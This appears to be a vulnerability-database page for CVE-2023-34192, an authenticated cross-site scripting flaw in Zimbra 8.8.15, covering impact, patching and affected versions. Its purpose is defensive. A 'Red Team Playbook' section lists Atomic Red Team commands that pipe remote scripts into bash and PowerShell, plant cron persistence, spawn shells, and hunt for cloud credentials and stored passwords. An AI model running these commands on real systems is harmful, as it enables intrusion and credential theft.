CVE-2023-34192
Overview
This vulnerability is a Cross Site Scripting (XSS) flaw rooted in improper input sanitization within the Zimbra Collaboration Suite (ZCS) version 8.8.15. The affected component is the /h/autoSaveDraft endpoint, which fails to correctly validate or encode user-supplied script content. This allows injection of malicious scripts that are subsequently executed in the context of authenticated users interacting with the autoSaveDraft function.
Vulnerability Description
Cross Site Scripting vulnerability in Zimbra ZCS v.8.8.15 allows a remote authenticated attacker to execute arbitrary code via a crafted script to the /h/autoSaveDraft function.
Impact
An attacker with valid user credentials can exploit this vulnerability to execute arbitrary JavaScript in the context of other authenticated users’ browsers. This can lead to session hijacking, theft of sensitive information, or unauthorized actions performed on behalf of the victim. The requirement for authentication limits the attack surface to users with low-privileged access, but successful exploitation can escalate privileges or compromise user accounts, potentially causing data breaches or defacement of the web interface.
Solution
Zimbra has addressed this vulnerability in updated patches for ZCS version 8.8.15, including patch levels p1, p10, p11, and p12. Administrators should apply the latest security updates as detailed in the Zimbra Security Advisories available at https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories. The vendor’s Security Center and Responsible Disclosure Policy pages provide further guidance on patching and mitigation steps specific to affected versions.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been identified in Zimbra Collaboration Suite version 8.8.15, specifically related to Cross-Site Scripting (XSS). This flaw allows an authenticated remote attacker to execute arbitrary code by crafting a malicious script targeting the /h/autoSaveDraft function. The underlying issue stems from inadequate input validation and output encoding, which are essential defenses against XSS attacks. When a user interacts with the affected function, the crafted script can be injected and executed in the context of the victim's browser, leading to unauthorized actions and data exposure.
The attack vectors for this vulnerability are particularly concerning due to the requirement of user authentication. An attacker must first gain access to a valid user account, which could be achieved through various means such as phishing or credential stuffing. Once authenticated, the attacker can exploit the XSS vulnerability by sending a specially crafted request to the autoSaveDraft function. This could result in the execution of malicious scripts that could steal session cookies, redirect users to malicious sites, or perform actions on behalf of the user without their consent. The potential for exploitation is significant, especially in environments where Zimbra is used for sensitive communications and data management.
The real-world impact of this vulnerability can be severe, particularly for organizations relying on Zimbra for collaboration and communication. Successful exploitation could lead to data breaches, loss of sensitive information, and compromise of user accounts. The business risks associated with such an incident include reputational damage, regulatory penalties, and financial losses due to remediation efforts and potential lawsuits. Organizations may also face operational disruptions as they work to address the fallout from an attack. Given the high CVSS score of 9.0, the urgency for organizations to assess their exposure and implement necessary protections is paramount.
To detect and mitigate this vulnerability, organizations should adopt a multi-layered security approach. Regular security assessments, including penetration testing and vulnerability scanning, can help identify weaknesses in their systems. Implementing web application firewalls (WAFs) can provide an additional layer of defense by filtering out malicious requests before they reach the application. Moreover, ensuring that all user inputs are properly validated and sanitized can significantly reduce the risk of XSS attacks. Organizations should also prioritize user education on security best practices, such as recognizing phishing attempts and using strong, unique passwords.
In conclusion, the Cross-Site Scripting vulnerability in Zimbra Collaboration Suite 8.8.15 poses a significant threat to organizations that utilize this platform. The potential for exploitation through authenticated user accounts highlights the need for robust security measures and proactive risk management strategies. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against potential threats and safeguard their sensitive information.
Affected Products (41)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:-:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p1:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p10:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p11:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p12:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p13:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p14:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p15:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p16:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p17:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p18:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p19:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p2:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p20:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p21:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p22:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p23:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p24:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p25:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p26:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-34192 |
| wiki.zimbra.com |
GitHub CVE
|
https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories |
| wiki.zimbra.com |
GitHub CVE
|
https://wiki.zimbra.com/wiki/Security_Center |
| wiki.zimbra.com |
GitHub CVE
|
https://wiki.zimbra.com/wiki/Zimbra_Responsible_Disclosure_Policy |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-34192 |